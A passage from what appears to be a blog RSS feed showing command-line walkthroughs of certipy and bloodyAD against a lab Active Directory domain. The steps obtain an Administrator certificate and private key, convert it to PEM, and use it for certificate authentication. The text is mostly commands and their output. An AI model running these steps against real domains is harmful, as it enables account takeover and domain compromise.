&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;administrator.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Convert it to pem&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;openssl&lt;/span&gt; &lt;span class="n"&gt;pkcs12&lt;/span&gt; &lt;span class="n"&gt;-in&lt;/span&gt; &lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pfx&lt;/span&gt; &lt;span class="n"&gt;-out&lt;/span&gt; &lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pem&lt;/span&gt; &lt;span class="n"&gt;-nodes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;Import&lt;/span&gt; &lt;span class="n"&gt;Password&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Use cert authentication&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;:administrator.pem&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=bloody,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version:&lt;/span&gt; &lt;span class="n"&gt;DS_BEHAVIOR_WIN2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="old-certipy-version-v209"&gt;Old certipy version v2.0.9&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Grab the cert&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the CA Authority name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## -debug is required in my env or it doesn&amp;#39;t work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;passw0rd&lt;/span&gt;&lt;span class="nv"&gt;@192&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-debug&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Authenticating&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;LDAP&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Bound&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;ldaps&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;636&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="kd"&gt;Configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;path: &lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Configuration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;33&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;authorities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;resolve&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;WIN-IJ5B521UO5L.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;192.168.10.2&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-WIN-IJ5B521UO5L-CA&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;CSRA&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;isFQDN&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;StringBinding&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;\\\\&lt;/span&gt;&lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;[\\&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;\\&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;StringBinding&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;49702&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-WIN-IJ5B521UO5L-CA&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Resolved&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;WIN-IJ5B521UO5L.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Connecting&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;11&lt;/span&gt; &lt;span class="n"&gt;enabled&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;20220506173005_Certipy.txt&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;JSON&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;20220506173005_Certipy.json&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;BloodHound&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;20220506173005_Certipy.zip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Drag&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;drop&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;into&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;BloodHound&lt;/span&gt; &lt;span class="n"&gt;GUI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the PFX&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;passw0rd&lt;/span&gt;&lt;span class="nv"&gt;@192&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-ca&lt;/span&gt; &lt;span class="nb"&gt;bloody-WIN&lt;/span&gt;&lt;span class="n"&gt;-IJ5B521UO5L-CA&lt;/span&gt; &lt;span class="n"&gt;-debug&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ncacn_np&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;[\&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Connected&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ncacn_np&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;[\&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;requested&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;UPN&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Administrator@bloody.local&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;administrator.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item></channel></rss>